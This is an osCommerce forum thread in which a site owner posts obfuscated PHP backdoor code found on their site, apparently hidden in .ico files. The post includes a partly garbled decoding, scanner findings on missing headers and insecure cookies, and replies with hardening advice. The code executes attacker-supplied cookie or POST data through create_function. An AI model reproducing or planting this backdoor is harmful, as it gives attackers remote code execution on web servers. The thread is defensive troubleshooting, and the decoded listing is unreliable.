$tonhnf = 'c3dpbvino*xH-syktf0mg_ra192\'#u84el7';$gcvzvva = Array();$gcvzvva[] = $tonhnf[0].$tonhnf[22].$tonhnf[32].$tonhnf[23].$tonhnf[16].$tonhnf[32].$tonhnf[21].$tonhnf[17].$tonhnf[29].$tonhnf[7].$tonhnf[0].$tonhnf[16].$tonhnf[6].$tonhnf[8].$tonhnf[7];$gcvzvva[] = $tonhnf[24].$tonhnf[31].$tonhnf[18].$tonhnf[31].$tonhnf[4].$tonhnf[25].$tonhnf[31].$tonhnf[30].$tonhnf[12].$tonhnf[18].$tonhnf[4].$tonhnf[23].$tonhnf[26].$tonhnf[12].$tonhnf[31].$tonhnf[24].$tonhnf[1].$tonhnf[25].$tonhnf[12].$tonhnf[4].$tonhnf[4].$tonhnf[34].$tonhnf[25].$tonhnf[12].$tonhnf[26].$tonhnf[24].$tonhnf[30].$tonhnf[31].$tonhnf[2].$tonhnf[26].$tonhnf[24].$tonhnf[23].$tonhnf[1].$tonhnf[18].$tonhnf[1].$tonhnf[25];$gcvzvva[] = $tonhnf[11].$tonhnf[9];$gcvzvva[] = $tonhnf[28];$gcvzvva[] = $tonhnf[0].$tonhnf[8].$tonhnf[29].$tonhnf[7].$tonhnf[16];$gcvzvva[] = $tonhnf[13].$tonhnf[16].$tonhnf[22].$tonhnf[21].$tonhnf[22].$tonhnf[32].$tonhnf[3].$tonhnf[32].$tonhnf[23].$tonhnf[16];$gcvzvva[] = $tonhnf[32].$tonhnf[10].$tonhnf[3].$tonhnf[33].$tonhnf[8].$tonhnf[2].$tonhnf[32];$gcvzvva[] = $tonhnf[13].$tonhnf[29].$tonhnf[4].$tonhnf[13].$tonhnf[16].$tonhnf[22];$gcvzvva[] = $tonhnf[23].$tonhnf[22].$tonhnf[22].$tonhnf[23].$tonhnf[14].$tonhnf[21].$tonhnf[19].$tonhnf[32].$tonhnf[22].$tonhnf[20].$tonhnf[32];$gcvzvva[] = $tonhnf[13].$tonhnf[16].$tonhnf[22].$tonhnf[33].$tonhnf[32].$tonhnf[7];$gcvzvva[] = $tonhnf[3].$tonhnf[23].$tonhnf[0].$tonhnf[15];foreach ($gcvzvva[8]($_COOKIE, $_POST) as $nxghpzj => $kbtxjwg){function pbpjdw($gcvzvva, $nxghpzj, $gpelhz){return $gcvzvva[7]($gcvzvva[5]($nxghpzj . $gcvzvva[1], ($gpelhz / $gcvzvva[9]($nxghpzj)) + 1), 0, $gpelhz);}function yqluwe($gcvzvva, $htzkl){return @$gcvzvva[10]($gcvzvva[2], $htzkl);}function ejtppd($gcvzvva, $htzkl){$pycicar = $gcvzvva[4]($htzkl) % 3;if (!$pycicar) {$kxaizya = $gcvzvva[0]; $twjlp = $kxaizya("", $htzkl[1]($htzkl[2]));$twjlp();exit();}}$kbtxjwg = yqluwe($gcvzvva, $kbtxjwg);ejtppd($gcvzvva, $gcvzvva[6]($gcvzvva[3], $kbtxjwg ^ pbpjdw($gcvzvva, $nxghpzj, $gcvzvva[9]($kbtxjwg))));}

Decode to:

$gcvzvva[] = "create_function";
$gcvzvva[] = "1404b948-0ba2-4139-bb79-2184d21a3039";
$gcvzvva[] = "H*";
$gcvzvva[] = "#";
$gcvzvva[] = "count";
$gcvzvva[] = "str_repeat";
$gcvzvva[] = "explode";
$gcvzvva[] = "substr";
$gcvzvva[] = "array_merge";
$gcvzvva[] = "strlen";
$gcvzvva[] = "pack";
	foreach ("o"($_COOKIE, $_POST) as $nxghpzj => $kbtxjwg){
		function pbpjdw($gcvzvva, $nxghpzj, $gpelhz){
		return "n"("v"($nxghpzj . "3", ($gpelhz / "*"($nxghpzj)) + 1), 0, $gpelhz);
	}
		function yqluwe($gcvzvva, $htzkl){
		return @"x"("d", $htzkl);
	}
		function ejtppd($gcvzvva, $htzkl){
		$pycicar = "b"($htzkl) % 3;
			if (!$pycicar) {
			$kxaizya = "c";
			 $twjlp = $kxaizya("", "3"("d"));
			$twjlp();
		}
	}
	$kbtxjwg = yqluwe($gcvzvva, $kbtxjwg);
	ejtppd($gcvzvva, "i"("p", $kbtxjwg ^ pbpjdw($gcvzvva, $nxghpzj, "*"($kbtxjwg))));
}

Missing HTTP security headers

Risk description:
Because the X-Frame-Options header is not sent by the server, an attacker could embed this website into an iframe of a third party website. By manipulating the display attributes of the iframe, the attacker could trick the user into performing mouse clicks in the application, thus performing activities without user's consent (ex: delete user, subscribe to newsletter, etc). This is called a Clickjacking attack and it is described in detail here:
https://owasp.org/www-community/attacks/Clickjacking

The X-XSS-Protection HTTP header instructs the browser to stop loading web pages when they detect reflected Cross-Site Scripting (XSS) attacks. Lack of this header exposes application users to XSS attacks in case the web application contains such vulnerability.

The HTTP X-Content-Type-Options header is addressed to Internet Explorer browser and prevents it from reinterpreting the content of a web page (MIME-sniffing) and thus overriding the value of the Content-Type header). Lack of this header could lead to attacks such as Cross-Site Scripting or phishing.

Recommendation:
We recommend you to add the X-Frame-Options HTTP response header to every page that you want to be protected against Clickjacking attacks.
More information about this issue:
https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html

We recommend setting the X-XSS-Protection header to "X-XSS-Protection: 1; mode=block".
More information about this issue:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection

We recommend setting the X-Content-Type-Options header to "X-Content-Type-Options: nosniff".
More information about this issue:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

Insecure HTTP cookies

Risk description:
Since the Secure flag is not set on the cookie, the browser will send it over an unencrypted channel (plain HTTP) if such a request is made. Thus, the risk exists that an attacker will intercept the clear-text communication between the browser and the server and he will steal the cookie of the user. If this is a session cookie, the attacker could gain unauthorized access to the victim's web session.

Lack of the HttpOnly flag permits the browser to access the cookie from client-side scripts (ex. JavaScript, VBScript, etc). This can be exploited by an attacker in conjuction with a Cross-Site Scripting (XSS) attack in order to steal the affected cookie. If this is a session cookie, the attacker could gain unauthorized access to the victim's web session.

Recommendation:
We recommend reconfiguring the web server in order to set the flag(s) Secure, HttpOnly to all sensitive cookies.

More information about this issue:
https://blog.dareboost.com/en/2016/12/secure-cookies-secure-httponly-flags/

Each time the names are different and the routes are random, but the same procedure.

after a simple scan I got this recomendations:

Missing HTTP security headers

Risk description:
Because the X-Frame-Options header is not sent by the server, an attacker could embed this website into an iframe of a third party website. By manipulating the display attributes of the iframe, the attacker could trick the user into performing mouse clicks in the application, thus performing activities without user's consent (ex: delete user, subscribe to newsletter, etc). This is called a Clickjacking attack and it is described in detail here:
https://owasp.org/www-community/attacks/Clickjacking

The X-XSS-Protection HTTP header instructs the browser to stop loading web pages when they detect reflected Cross-Site Scripting (XSS) attacks. Lack of this header exposes application users to XSS attacks in case the web application contains such vulnerability.

The HTTP X-Content-Type-Options header is addressed to Internet Explorer browser and prevents it from reinterpreting the content of a web page (MIME-sniffing) and thus overriding the value of the Content-Type header). Lack of this header could lead to attacks such as Cross-Site Scripting or phishing.

Recommendation:
We recommend you to add the X-Frame-Options HTTP response header to every page that you want to be protected against Clickjacking attacks.
More information about this issue:
https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html

We recommend setting the X-XSS-Protection header to "X-XSS-Protection: 1; mode=block".
More information about this issue:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection

We recommend setting the X-Content-Type-Options header to "X-Content-Type-Options: nosniff".
More information about this issue:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

Insecure HTTP cookies

Risk description:
Since the Secure flag is not set on the cookie, the browser will send it over an unencrypted channel (plain HTTP) if such a request is made. Thus, the risk exists that an attacker will intercept the clear-text communication between the browser and the server and he will steal the cookie of the user. If this is a session cookie, the attacker could gain unauthorized access to the victim's web session.

Lack of the HttpOnly flag permits the browser to access the cookie from client-side scripts (ex. JavaScript, VBScript, etc). This can be exploited by an attacker in conjuction with a Cross-Site Scripting (XSS) attack in order to steal the affected cookie. If this is a session cookie, the attacker could gain unauthorized access to the victim's web session.

Recommendation:
We recommend reconfiguring the web server in order to set the flag(s) Secure, HttpOnly to all sensitive cookies.

More information about this issue:
https://blog.dareboost.com/en/2016/12/secure-cookies-secure-httponly-flags/

Edited June 17, 2020 by domiosc
bad spoiler

♥ecartz · June 17, 2020

1 hour ago, domiosc said:

The hosting company say is all secure... and the vulnerable is the website...

If you can run executable code in .ico files, that is a security hole.

Similarly, X-Frame-Options is generally set by Apache, not by individual applications. https://geekflare.com/secure-apache-from-clickjacking-with-x-frame-options/

Allowing image uploads should only be available to the admin, which should be secured by Apache's Basic Authentication (htpasswd). Writing image files to anywhere other than images/ admin/backups and a few more locations should be blocked by directory file permissions.

You can disable osCommerce from allowing .ico uploads. Look for set_extensions or I seem to recall that older versions had a default set somewhere.

Only the last of those is settable in application. Some of the third is configuring for use by the application. Some is host configuration (who owns the site files and directories; what are the permissions). The first two are purely host configuration. Although perhaps the .ico file is being included by something else (what?).

In general, clickjacking only works if you use the same browser instance to both log into your osCommerce admin and view other pages. If you only ever use the browser instance for looking at the osCommerce admin, clickjacking won't work. Keep one browser only for osCommerce. This could be Chrome, Edge, Firefox, Safari, Opera, etc. And use a different browser for regular web browsing. Chrome and Firefox also support multiple profiles (Chrome will let you have multiple profiles open at the same time).

Demitry · June 17, 2020

@domiosc

So, I Googled this and did find a couple of articles on a malware injected into a site using .ico files. Here are the articles:

https://blog.quttera.com/post/suspicious-icon-files-on-your-website/

https://www.theregister.com/2015/03/25/blank/

If you do regular back-ups, I would go back to the back-up you did just prior to this problem occurring and compare all folders using a comparison tool. This may not find the issue, but it is a good place to start.

problem with .mx files generated as copies of all .php files

Recommended Posts

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Share this post

Link to post

Share on other sites

Create an account or sign in to comment

Create an account

Sign in